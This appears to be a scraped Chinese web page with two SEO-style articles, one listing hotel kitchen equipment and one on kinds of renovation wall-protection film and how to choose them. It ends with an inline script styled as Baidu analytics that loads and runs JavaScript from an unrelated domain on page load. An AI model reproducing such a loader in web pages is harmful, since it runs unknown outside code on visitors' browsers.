酒店厨房设备有哪些

我们都知道，酒店也算是大型餐饮，里面供应的食物在种类和数量上都是不在少数，那么这么庞大的供给系统，其后备盾也就是他们的厨房供应设备又如何呢?一个完整的正规的酒店必须本着卫生、防火、方便和美观的原则配备所有的装备，所以它不能只有基础的烹调和清洗设备，还应该包括更多，那么，酒店厨房设备具体有哪些呢?现在小编来为大家详细介绍。酒店厨房设备有哪些酒店厨房设备主要包括以下5大类：第一类是储藏用具，分为食品储藏和器物用品储藏两大部分。食品储藏又分为冷藏和非冷储藏，冷藏是通过厨房内的电冰箱、冷藏柜等实现的。器物用品储藏是为餐具、炊具、器皿等提供存储的空间。储藏用具是通过各种底柜、吊柜、角柜、多功能装饰柜等完成的。第二类是厨房设备洗涤用具，包括冷热水的供应系统、排水设备、洗物盆、洗物柜等，洗涤后在厨房操作中产生的垃圾，应设置垃圾箱或卫生桶等，现代家庭厨房还应配备消毒柜、食品垃圾粉碎器等设备。第三类是调理用具，主要包括调理的台面，整理、切菜、配料、调制的工具和器皿。随着科技的进步，家庭厨房用食品切削机具、榨压汁机具、调制机具等也在不断增加。第四类是烹调用具，主要有炉具、灶具和烹调时的相关工具和器皿。随着厨房革命的进程，铁板烧设备、电饭锅。高频电磁灶、微波炉、微波烤箱等也开始大量进人家庭。第五类是厨房设备进餐用具，主要包括餐厅中的家具和进餐时的用具和器皿等。1.厨房机械：洗碗机、洗菜机、饺子机、压面机、和面机、饺肉机、切肉机、洗米机、面点机、刨冰机、榨汁机、搅拌机、豆浆机、冰激凌机、甜筒机、咖啡机、真空冷却机等。2.厨房设备：排风管道、排烟设备、连续油炸机、翻转锅、自动炒锅、刀板杀菌柜、米饭生产线、餐具浸泡槽、操作台、风力烤线、万能点烤箱、洗涤槽、洗涤盘、保管箱、储存柜、存放架、餐车、炊具五金架、杆、钩、餐具五金架、杆、钩、调料盒、调料箱、调料架、炊具架等。3.厨房餐具：陶瓷餐具、塑料餐具、不锈钢餐具、竹木餐具、金银餐具、铜锡餐具、金漆餐具、西餐具、中餐具、酒具、茶具、咖啡具等。4.厨房炊具：炒锅、炒勺、蒸锅、汤锅、砂锅、火锅、平底锅、不粘锅、蒸笼、蒸箱、高压锅等。5.厨房炉灶：抽油烟机、燃气灶、油炉、汽炉、电炉、烤箱烤炉、酒精炉、木炭炉等。6.厨房电器：电饭煲、微波炉、开水器、电磁炉、消毒柜、冰箱、冰柜、冷藏柜、净水机、排风扇、饮水机、厨房电器材料及配件等。7.厨房橱柜：不锈钢橱柜、木质橱柜、防火板橱柜、钢板橱柜、整体橱柜、整体厨房、集成厨房、橱柜台面、板材及配件等。8.厨房附属设施及用品：快餐厅桌椅、吧台桌椅、水龙头、桌布、台布、照明灯具、开关、装饰品、水果篮、蔬菜筐等。以上小编所介绍的物品琳琅满目，大大小小的设备有几十种，有一些是我们普通家庭常用的东西和器具，但有些可能大多数消费者是没听过的，但这的确是一个大型且规范的酒店厨房设备所应该具备的，这样才能达到卫生、安全、方便，美观的标准。同时对于卫生方面，酒店厨房设备还是需要定期清理才能真正保障卫生达标，所以定时的检查也是很有必要。

酒店装修墙面保护膜都有哪些种类以及如何选择

当我们购买瓷砖时，我们经常发现瓷砖表面有一层薄膜。这种薄膜用于保护瓷砖在运输或施工过程中免受外部损坏，并可在装饰后撕掉。对于很多熟悉瓷砖保护膜的人来说，下面小编为大家介绍酒店装修墙面保护膜都有哪些种类以及如何选择酒店装修墙面保护膜都有哪些种类1，PVC 棉织物保护膜瓷砖保护膜由PVC和软针织棉组成，具有减摩，防撞，防水，无毒无味的特点。2，单层PVC保护膜单层PVC保护膜主要由彩色印刷PVC制成，并被多家大型品牌装饰公司广泛使用。这种保护性酒店装修墙面保护膜具有很强的抗划伤性，防水性和防撞性。3，编织保护膜编织保护膜是装饰公司的特殊保护膜。它是由一个高温复合彩色打印和织物的。它具有抗划伤，防水和耐磨的特点。它广泛用于装饰，以保护地板，墙壁和栏杆。4，珍珠膜珍珠膜也是一种由装饰公司专门设计的酒店装修墙面保护膜。它由彩色印花薄膜和珍珠棉组成。它广泛用于门，窗和木制品的保护。珍珠膜具有很强的防水性和抗潮湿性，对企业品牌的推广有积极作用。5，保护膜漆酒店装修保护膜可有效保护木制品和地板及墙面漆，也可更换珍珠棉，保护门窗，使室内光线更充足，可根据客户要求定制。酒店装修墙面保护膜如何选择1，选择透明度和亮度如果用户酒店装修时希望选择透明瓷砖，则在选择时应观察透光率，透射率应至少为92%。如果用户不需要透明度，请选择通常使用的白色胶片。如果选择白色胶片，酒店装修时需要看看它是如何发光的。2，注意规格和偏差。当我们选择瓷砖保护膜时，保护膜的宽度和厚度必须符合要求，且厚度必须均匀，水平和垂直的厚度不能太大，以便薄膜的瓷砖使用效果更好。以上小编总结的酒店装修墙面保护膜的类型以及如何选择，希望大家可以用到。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();